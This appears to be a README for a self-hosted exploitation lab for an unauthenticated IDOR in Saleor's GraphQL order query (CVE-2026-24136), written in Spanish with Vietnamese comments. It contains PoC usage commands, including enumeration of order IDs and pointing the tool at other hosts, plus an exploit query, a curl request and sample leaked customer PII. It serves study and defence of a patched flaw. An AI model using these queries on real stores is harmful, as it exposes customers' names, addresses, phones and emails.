
CVE-2026-24136 | Laboratorio de explotación de vulnerabilidad IDOR en Saleor GraphQL - la consulta order() no verifica autenticación, expone toda la PII (correo electrónico, dirección, teléfono) de los clientes. Incluye entorno Docker, script de datos semilla y PoC. CVSS 4.0: 8.7 HIGH.
| Campo | Detalle |
|---|---|
| CVE ID | CVE-2026-24136 |
| Tipo de vulnerabilidad | IDOR - Authorization Bypass Through User-Controlled Key (CWE-639) |
| Software | Saleor e-commerce platform |
| Versiones afectadas | 3.2.0 - 3.20.109 · 3.21.0 - 3.21.44 · 3.22.0 - 3.22.28 |
| Versiones parcheadas | 3.20.110 · 3.21.45 · 3.22.29 |
| CVSS 3.1 | 7.5 HIGH (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N) |
| CVSS 4.0 | 8.7 HIGH |
| Impacto | Un actor no autenticado puede leer PII (nombre, dirección, teléfono, correo electrónico) de cualquier pedido |
| ¿Requiere autenticación? | No |
Saleor proporciona una API GraphQL para gestionar pedidos de comercio electrónico. La consulta order(id: $id) permite obtener detalles de un pedido mediante un ID global. En las versiones afectadas, esta consulta no verifica si el solicitante tiene permiso para ver ese pedido.
Cualquier persona, incluso usuarios completamente anónimos sin cuenta, puede llamar a esta consulta y recibir toda la PII del cliente: correo electrónico, nombre completo, dirección de envío, número de teléfono, historial de inicio de sesión.
cve-2026-24136-lab/
├── docker-compose.yml # Môi trường lab (Saleor 3.20 + PostgreSQL + Redis)
├── setup_lab.ps1 # Script khởi động tự động (Windows PowerShell)
├── setup_lab.sh # Script khởi động tự động (Linux / WSL / macOS)
├── README.md
└── scripts/
├── start_api.sh # Startup wrapper: patch wsgi bug + gunicorn
├── seed_data.py # Tạo victim accounts + orders có PII
└── poc_cve_2026_24136.py # PoC khai thác
pip install requests# Cấp quyền thực thi nếu cần
Set-ExecutionPolicy -ExecutionPolicy Bypass -Scope Process
# Chạy setup tự động
.\setup_lab.ps1
chmod +x setup_lab.sh
./setup_lab.sh
# 1. Khởi động containers
docker compose up -d
# 2. Chờ API sẵn sàng (~60-90 giây)
# Kiểm tra: curl http://localhost:8000/health/
# 3. Tạo admin account
docker exec cve_saleor_api python manage.py shell -c \
"from django.contrib.auth import get_user_model; U=get_user_model(); \
U.objects.filter(email='[email protected]').exists() or \
U.objects.create_superuser('[email protected]', 'admin')"
# 4. Populate products/channels
docker exec cve_saleor_api python manage.py populatedb
# 5. Tạo victim data (accounts + orders với PII)
cd scripts
pip install requests
python seed_data.py
Endpoints después de iniciar:
| Service | URL |
|---|---|
| Saleor GraphQL API | http://localhost:8000/graphql/ |
| GraphQL Playground | http://localhost:8000/graphql/ |
| Saleor Dashboard | http://localhost:9000 |
| Admin | [email protected] / admin |
cd scripts
# Xem giải thích kỹ thuật
python poc_cve_2026_24136.py explain
# Khai thác từ danh sách đã seed (KHUYẾN NGHỊ - Saleor 3.x dùng UUID IDs)
python poc_cve_2026_24136.py file order_ids.json
# Khai thác 1 order bằng base64 global ID trực tiếp
python poc_cve_2026_24136.py single T3JkZXI6NDYwZDFlMjct...
# Enumerate sequential (chỉ hoạt động với Saleor < 3.x dùng integer IDs)
python poc_cve_2026_24136.py enumerate --start 1 --end 100
# Đổi target API
python poc_cve_2026_24136.py --url http://192.168.1.100:8000/graphql/ file order_ids.json
# Lưu kết quả ra JSON
python poc_cve_2026_24136.py file order_ids.json --output leaked_pii.json
[*] Loaded 6 Order IDs from order_ids.json
[*] Querying without authentication...
[*] Trying: T3JkZXI6NDYwZDFlMj... (Order:460d1e27-2b0b-4897-84c9-64b524b08d64)
╔══════════════════════════════════════════════════════════════╗
║ [LEAKED] ORDER #41 -- DRAFT ║
╠──────────────────────────────────────────────────────────────╣
║ Email : [email protected] ║
╠──────────────────────────────────────────────────────────────╣
║ Billing Address : Nguyen Van A ║
║ Street : 123 Le Loi Street ║
║ City/Post : HO CHI MINH CITY 700000 ║
║ Country : Vietnam ║
║ Phone : +84901234567 ║
╚══════════════════════════════════════════════════════════════╝
[*] Successfully leaked 6/6 orders
Saleor utiliza la "Identificación Global de Objetos" según el estándar Relay GraphQL. Cada objeto se identifica mediante un ID global de la forma:
base64("<TypeName>:<internal_id>")
Con pedidos en Saleor 3.x:
# internal_id là UUID v4
internal_id = "460d1e27-2b0b-4897-84c9-64b524b08d64"
global_id = base64("Order:" + internal_id)
= "T3JkZXI6NDYwZDFlMjctMmIwYi00ODk3LTg0YzktNjRiNTI0YjA4ZDY0"
Nota: Saleor 2.x usa IDs secuenciales enteros (
Order:1,Order:2, ...), por lo que son más fáciles de enumerar.
Saleor 3.x cambió a UUID, por lo que el atacante necesita obtener el UUID de otra manera (correo de confirmación del pedido, fuga de URL, etc.).
Archivo: saleor/graphql/order/resolvers.py
# PHIÊN BẢN BỊ LỖI (trước khi patch)
def resolve_order(root, info, id):
"""Resolve order by ID – không có bất kỳ kiểm tra authorization nào."""
_, pk = from_global_id_or_error(id, Order)
return qs.filter(pk=pk).first()
# Bất kỳ ai gọi cũng nhận được dữ liệu, không kiểm tra user, không kiểm tra session
Archivo: saleor/graphql/order/schema.py
# Query definition, không khai báo permissions
class OrderQueries:
order = graphene.Field(
Order,
description="Look up an order by ID.",
id=graphene.Argument(graphene.ID, description="ID of the order."),
)
def resolve_order(self, info, id):
return resolvers.resolve_order(info, id)
# Không có @permission_required, không có guard nào
Query enviada sin encabezado Authorization:
query ExploitOrder($id: ID!) {
order(id: $id) {
number
status
userEmail
billingAddress {
firstName
lastName
streetAddress1
city
postalCode
phone
}
shippingAddress {
firstName
lastName
phone
}
user {
email
firstName
lastName
lastLogin
isActive
}
}
}
# Gửi bằng curl, không cần token
curl -s http://localhost:8000/graphql/ \
-H "Content-Type: application/json" \
-d '{
"query": "query { order(id: \"T3JkZXI6NDYwZDFlMj...\") { number userEmail billingAddress { phone } } }"
}'
# Response (không cần auth):
# {"data":{"order":{"number":"41","userEmail":"[email protected]","billingAddress":{"phone":"+84901234567"}}}}